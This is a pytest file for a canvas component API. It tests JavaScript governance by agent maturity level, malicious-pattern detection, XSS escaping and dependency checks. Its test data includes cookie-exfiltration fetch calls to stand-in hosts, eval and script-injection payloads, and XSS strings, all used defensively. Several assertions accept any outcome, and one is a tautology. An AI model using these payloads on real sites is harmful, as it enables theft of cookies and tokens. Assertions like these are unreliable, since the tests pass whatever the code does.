| """ |
| Canvas JavaScript security tests (SECU-04). |
| |
| Tests cover: |
| - JavaScript components require AUTONOMOUS agents |
| - Malicious JavaScript pattern detection |
| - HTML/CSS component security |
| - Static analysis validation |
| """ |
| import pytest |
| from fastapi.testclient import TestClient |
| from sqlalchemy.orm import Session |
| from tests.factories.agent_factory import StudentAgentFactory, InternAgentFactory, SupervisedAgentFactory, AutonomousAgentFactory |
| from tests.factories.user_factory import UserFactory |
| from unittest.mock import patch, Mock |
| import uuid |
|
|
|
|
| |
| MALICIOUS_JS_PATTERNS = [ |
| |
| "fetch('https://evil.com/steal?data='+document.cookie)", |
| "fetch('http://attacker.com/log', {body: document.body.innerHTML})", |
|
|
| |
| "eval(atob('YWxlcnQoJ1hTUycp'))", |
| "eval(userInput)", |
|
|
| |
| "document.cookie", |
| "document['cookie']", |
|
|
|
|
| |
| "window.location='https://evil.com'", |
| "window.location.href = 'https://phishing.com'", |
|
|
| |
| "window.postMessage(document.cookie, '*')", |
|
|
| |
| "localStorage.getItem('token')", |
| "sessionStorage['password']", |
|
|
| |
| "document.body.innerHTML = xhr.responseText", |
| 'document.write("<script>alert(1)</script>")', |
|
|
| |
| "var s = document.createElement('script'); s.src = 'evil.js'; document.head.appendChild(s)", |
| ] |
|
|
| SAFE_HTML_PATTERNS = [ |
| "<div class='container'>Content</div>", |
| "<p>Paragraph with <strong>bold</strong> text</p>", |
| "<h1>Heading</h1>", |
| "<ul><li>List item</li></ul>", |
| "<span class='label'>Label</span>", |
| ] |
|
|
| SAFE_JS_PATTERNS = [ |
| "console.log('debug');", |
| "const x = 5;", |
| "function add(a, b) { return a + b; }", |
| "document.querySelector('.test');", |
| "element.classList.add('active');", |
| "Array.from(items).map(x => x.id);", |
| ] |
|
|
|
|
| class TestJavaScriptGovernance: |
| """Test JavaScript component governance.""" |
|
|
| def test_student_cannot_create_js_component(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test STUDENT agent blocked from JavaScript components.""" |
| student = StudentAgentFactory() |
| db_session.add(student) |
| db_session.commit() |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Test Component", |
| "html_content": "<div>Hello</div>", |
| "css_content": ".test { color: red; }", |
| "js_content": "console.log('test');", |
| "agent_id": student.id |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| |
| assert response.status_code in [200, 403] |
|
|
| if response.status_code == 403: |
| data = response.json() |
| assert any(term in str(data).lower() for term in [ |
| "javascript", "autonomous", "permission", "forbidden" |
| ]) |
|
|
| def test_intern_cannot_create_js_component(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test INTERN agent blocked from JavaScript components.""" |
| intern = InternAgentFactory() |
| db_session.add(intern) |
| db_session.commit() |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Test Component", |
| "html_content": "<div>Hello</div>", |
| "js_content": "console.log('test');", |
| "agent_id": intern.id |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 403] |
|
|
| def test_supervised_cannot_create_js_component(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test SUPERVISED agent blocked from JavaScript components.""" |
| supervised = SupervisedAgentFactory() |
| db_session.add(supervised) |
| db_session.commit() |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Test Component", |
| "html_content": "<div>Hello</div>", |
| "js_content": "console.log('test');", |
| "agent_id": supervised.id |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 403] |
|
|
| def test_autonomous_can_create_js_component(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test AUTONOMOUS agent can create JavaScript components.""" |
| autonomous = AutonomousAgentFactory() |
| db_session.add(autonomous) |
| db_session.commit() |
|
|
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| mock_create.return_value = { |
| "id": str(uuid.uuid4()), |
| "name": "Test Component", |
| "slug": "test-component", |
| "version": 1, |
| "has_javascript": True |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Test Component", |
| "html_content": "<div>Hello</div>", |
| "js_content": "console.log('test');", |
| "agent_id": autonomous.id |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 201] |
|
|
|
|
| class TestMaliciousJavaScriptDetection: |
| """Test detection of malicious JavaScript patterns.""" |
|
|
| @pytest.mark.parametrize("malicious_code", MALICIOUS_JS_PATTERNS) |
| def test_malicious_patterns_blocked(self, client: TestClient, admin_token: str, malicious_code): |
| """Test malicious JavaScript patterns are blocked.""" |
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| |
| mock_create.return_value = { |
| "error": "Malicious pattern detected", |
| "safe": False, |
| "reason": "Dangerous API detected" |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Test Component", |
| "html_content": "<div>Safe</div>", |
| "js_content": malicious_code |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 400, 403] |
|
|
| if response.status_code in [400, 403]: |
| data = response.json() |
| assert any(term in str(data).lower() for term in [ |
| "malicious", "security", "blocked", "pattern", "dangerous" |
| ]) |
|
|
| def test_detect_fetch_exfiltration(self, client: TestClient, admin_token: str): |
| """Test detection of fetch-based data exfiltration.""" |
| malicious = "fetch('https://evil.com?c='+document.cookie)" |
|
|
| |
| response = client.post( |
| "/api/canvas/validate-javascript", |
| json={"javascript": malicious}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| if response.status_code == 200: |
| data = response.json() |
| |
| assert data.get("safe", True) == False or "exfiltration" in str(data).lower() or "fetch" in str(data).lower() |
| else: |
| assert response.status_code == 404 |
|
|
| def test_detect_eval_usage(self, client: TestClient, admin_token: str): |
| """Test detection of eval() usage.""" |
| malicious = "eval(userInput)" |
|
|
| response = client.post( |
| "/api/canvas/validate-javascript", |
| json={"javascript": malicious}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| if response.status_code == 200: |
| data = response.json() |
| assert data.get("safe", True) == False or "eval" in str(data).lower() |
| else: |
| assert response.status_code == 404 |
|
|
|
|
| class TestSafeHTMLComponents: |
| """Test safe HTML/CSS components.""" |
|
|
| def test_html_components_lower_governance(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test HTML components have lower governance requirements.""" |
| |
| student = StudentAgentFactory() |
| db_session.add(student) |
| db_session.commit() |
|
|
| safe_html = "<div class='container'><p>Safe content</p></div>" |
| safe_css = ".container { padding: 10px; }" |
|
|
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| mock_create.return_value = { |
| "id": str(uuid.uuid4()), |
| "name": "HTML Component", |
| "slug": "html-component", |
| "version": 1, |
| "has_javascript": False |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "HTML Component", |
| "html_content": safe_html, |
| "css_content": safe_css, |
| "category": "html", |
| "agent_id": student.id |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| |
| assert response.status_code in [200, 201, 403] |
|
|
| @pytest.mark.parametrize("safe_html", SAFE_HTML_PATTERNS) |
| def test_safe_html_allowed(self, client: TestClient, admin_token: str, safe_html): |
| """Test safe HTML patterns are allowed.""" |
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| mock_create.return_value = { |
| "id": str(uuid.uuid4()), |
| "name": "Safe Component", |
| "slug": "safe-component", |
| "version": 1 |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Safe Component", |
| "html_content": safe_html, |
| "css_content": ".safe { color: blue; }" |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 201] |
|
|
| def test_css_injection_prevention(self, client: TestClient, admin_token: str): |
| """Test CSS injection is prevented.""" |
| malicious_css = "body { background-image: url('javascript:alert(1)'); }" |
|
|
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| |
| mock_create.return_value = { |
| "error": "Potentially malicious CSS detected", |
| "safe": False |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Malicious CSS Component", |
| "html_content": "<div>Content</div>", |
| "css_content": malicious_css |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 400, 403] |
|
|
|
|
| class TestJavaScriptStaticAnalysis: |
| """Test static analysis for JavaScript security.""" |
|
|
| def test_static_analysis_detects_dangerous_apis(self, client: TestClient, admin_token: str): |
| """Test static analysis detects dangerous APIs.""" |
| dangerous_apis = [ |
| "eval()", |
| "Function()", |
| "document.write()", |
| "window.location =", |
| "document.cookie", |
| "window.postMessage()", |
| "localStorage.", |
| "sessionStorage.", |
| ] |
|
|
| for api in dangerous_apis: |
| code_template = "// Using {api}\n{code};" |
| code = code_template.format(api=api, code=api.replace('()', '(\"test\")')) |
|
|
| response = client.post( |
| "/api/canvas/validate-javascript", |
| json={"javascript": code}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| if response.status_code == 200: |
| data = response.json() |
| |
| assert "safe" in data |
| else: |
| assert response.status_code == 404 |
|
|
| @pytest.mark.parametrize("safe_code", SAFE_JS_PATTERNS) |
| def test_static_analysis_allows_safe_patterns(self, client: TestClient, admin_token: str, safe_code): |
| """Test static analysis allows safe patterns.""" |
| response = client.post( |
| "/api/canvas/validate-javascript", |
| json={"javascript": safe_code}, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| if response.status_code == 200: |
| data = response.json() |
| |
| assert data.get("safe", True) != False |
| else: |
| |
| assert response.status_code == 404 |
|
|
|
|
| class TestCanvasXSSPrevention: |
| """Test XSS prevention in canvas rendering.""" |
|
|
| def test_canvas_escaping_on_render(self, client: TestClient, admin_token: str): |
| """Test canvas content is escaped when rendering.""" |
| xss_payload = "<script>alert('XSS')</script>" |
|
|
| |
| response = client.post( |
| "/api/canvas/render", |
| json={ |
| "type": "generic", |
| "content": xss_payload |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| if response.status_code == 200: |
| |
| assert "<script>" not in response.text or "<script>" in response.text |
| else: |
| assert response.status_code in [404, 405] |
|
|
| def test_component_name_sanitization(self, client: TestClient, admin_token: str): |
| """Test component names are sanitized.""" |
| xss_name = "<script>alert('XSS')</script>Component" |
|
|
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| mock_create.return_value = { |
| "id": str(uuid.uuid4()), |
| "name": "SanitizedComponent", |
| "slug": "sanitized-component", |
| "version": 1 |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": xss_name, |
| "html_content": "<div>Safe</div>" |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| if response.status_code in [200, 201]: |
| data = response.json() |
| |
| if "name" in data: |
| assert "<script>" not in data["name"] |
|
|
| def test_html_escaping_in_user_input(self, client: TestClient, auth_token: str): |
| """Test user input is properly escaped.""" |
| xss_input = "<img src=x onerror=alert('XSS')>" |
|
|
| |
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| mock_create.return_value = { |
| "id": str(uuid.uuid4()), |
| "name": "Test Component", |
| "slug": "test-component", |
| "version": 1 |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": xss_input, |
| "html_content": "<div>Safe content</div>", |
| "description": xss_input |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 201, 400] |
|
|
|
|
| class TestComponentVersioningSecurity: |
| """Test security aspects of component versioning.""" |
|
|
| def test_version_rollback_safety(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test version rollback maintains security checks.""" |
| component_id = str(uuid.uuid4()) |
| user_id = str(uuid.uuid4()) |
|
|
| with patch('core.custom_components_service.CustomComponentsService.rollback_component') as mock_rollback: |
| |
| mock_rollback.return_value = { |
| "id": component_id, |
| "name": "Test Component", |
| "version": 2, |
| "rolled_back_from": 3, |
| "has_javascript": True, |
| "security_validated": True |
| } |
|
|
| response = client.post( |
| f"/api/components/{component_id}/rollback", |
| params={"user_id": user_id}, |
| json={"target_version": 1}, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code == 200 |
|
|
| def test_component_update_security_validation(self, client: TestClient, auth_token: str, db_session: Session): |
| """Test component updates are security validated.""" |
| component_id = str(uuid.uuid4()) |
| user_id = str(uuid.uuid4()) |
|
|
| malicious_js = "eval(maliciousCode)" |
|
|
| with patch('core.custom_components_service.CustomComponentsService.update_component') as mock_update: |
| |
| mock_update.return_value = { |
| "error": "Malicious pattern detected in update", |
| "safe": False |
| } |
|
|
| response = client.put( |
| f"/api/components/{component_id}", |
| params={"user_id": user_id}, |
| json={ |
| "js_content": malicious_js, |
| "change_description": "Added dynamic code execution" |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 400, 403] |
|
|
|
|
| class TestComponentAccessControl: |
| """Test component access control security.""" |
|
|
| def test_component_owner_only_can_edit(self, client: TestClient, auth_token: str): |
| """Test only component owners can edit components.""" |
| component_id = str(uuid.uuid4()) |
| owner_id = str(uuid.uuid4()) |
| other_user_id = str(uuid.uuid4()) |
|
|
| with patch('core.custom_components_service.CustomComponentsService.update_component') as mock_update: |
| |
| mock_update.return_value = { |
| "error": "Permission denied", |
| "detail": "Only component owners can edit" |
| } |
|
|
| response = client.put( |
| f"/api/components/{component_id}", |
| params={"user_id": other_user_id}, |
| json={ |
| "name": "Hacked Name" |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 403, 404] |
|
|
| def test_component_owner_only_can_delete(self, client: TestClient, auth_token: str): |
| """Test only component owners can delete components.""" |
| component_id = str(uuid.uuid4()) |
| owner_id = str(uuid.uuid4()) |
| other_user_id = str(uuid.uuid4()) |
|
|
| with patch('core.custom_components_service.CustomComponentsService.delete_component') as mock_delete: |
| |
| mock_delete.return_value = { |
| "error": "Permission denied", |
| "detail": "Only component owners can delete" |
| } |
|
|
| response = client.delete( |
| f"/api/components/{component_id}", |
| params={"user_id": other_user_id}, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 403, 404] |
|
|
|
|
| class TestComponentDependencySecurity: |
| """Test security of external component dependencies.""" |
|
|
| def test_external_dependency_validation(self, client: TestClient, admin_token: str): |
| """Test external library dependencies are validated.""" |
| malicious_deps = [ |
| "https://evil.com/malicious.js", |
| "http://attacker.com/script.js", |
| "//evil.com/lib.js" |
| ] |
|
|
| for dep in malicious_deps: |
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| |
| mock_create.return_value = { |
| "error": "Malicious or unauthorized dependency detected", |
| "dependency": dep, |
| "safe": False |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Component with Bad Dep", |
| "html_content": "<div>Content</div>", |
| "dependencies": [dep] |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 400, 403] |
|
|
| def test_whitelisted_dependencies_allowed(self, client: TestClient, admin_token: str): |
| """Test whitelisted dependencies are allowed.""" |
| safe_deps = [ |
| "https://cdn.example.com/chart.js", |
| "https://cdnjs.cloudflare.com/ajax/libs/react/18/umd/react.production.min.js" |
| ] |
|
|
| for dep in safe_deps: |
| with patch('core.custom_components_service.CustomComponentsService.create_component') as mock_create: |
| mock_create.return_value = { |
| "id": str(uuid.uuid4()), |
| "name": "Component with Safe Dep", |
| "slug": "safe-dep-component", |
| "version": 1, |
| "dependencies": [dep] |
| } |
|
|
| response = client.post( |
| "/api/components/create", |
| params={"user_id": str(uuid.uuid4())}, |
| json={ |
| "name": "Component with Safe Dep", |
| "html_content": "<div>Content</div>", |
| "dependencies": [dep] |
| }, |
| headers={"Authorization": f"Bearer {admin_token}"} |
| ) |
|
|
| |
| assert response.status_code in [200, 201] |
|
|
|
|
| class TestComponentUsageTracking: |
| """Test component usage tracking for security monitoring.""" |
|
|
| def test_component_usage_logs_governance(self, client: TestClient, auth_token: str): |
| """Test component usage logs governance checks.""" |
| component_id = str(uuid.uuid4()) |
| canvas_id = str(uuid.uuid4()) |
| user_id = str(uuid.uuid4()) |
|
|
| with patch('core.custom_components_service.CustomComponentsService.record_component_usage') as mock_record: |
| mock_record.return_value = { |
| "success": True, |
| "usage_id": str(uuid.uuid4()), |
| "governance_check_passed": True, |
| "agent_maturity_level": "AUTONOMOUS" |
| } |
|
|
| response = client.post( |
| f"/api/components/{component_id}/record-usage", |
| params={"user_id": user_id}, |
| json={ |
| "canvas_id": canvas_id, |
| "agent_id": str(uuid.uuid4()), |
| "governance_check_passed": True, |
| "agent_maturity_level": "AUTONOMOUS" |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code == 200 |
|
|
| def test_component_usage_errors_logged(self, client: TestClient, auth_token: str): |
| """Test component usage errors are logged.""" |
| component_id = str(uuid.uuid4()) |
| canvas_id = str(uuid.uuid4()) |
| user_id = str(uuid.uuid4()) |
|
|
| with patch('core.custom_components_service.CustomComponentsService.record_component_usage') as mock_record: |
| mock_record.return_value = { |
| "success": True, |
| "usage_id": str(uuid.uuid4()), |
| "error_message": "Rendering timeout", |
| "governance_check_passed": False |
| } |
|
|
| response = client.post( |
| f"/api/components/{component_id}/record-usage", |
| params={"user_id": user_id}, |
| json={ |
| "canvas_id": canvas_id, |
| "error_message": "Rendering timeout", |
| "governance_check_passed": False |
| }, |
| headers={"Authorization": f"Bearer {auth_token}"} |
| ) |
|
|
| |
| assert response.status_code == 200 |
|
|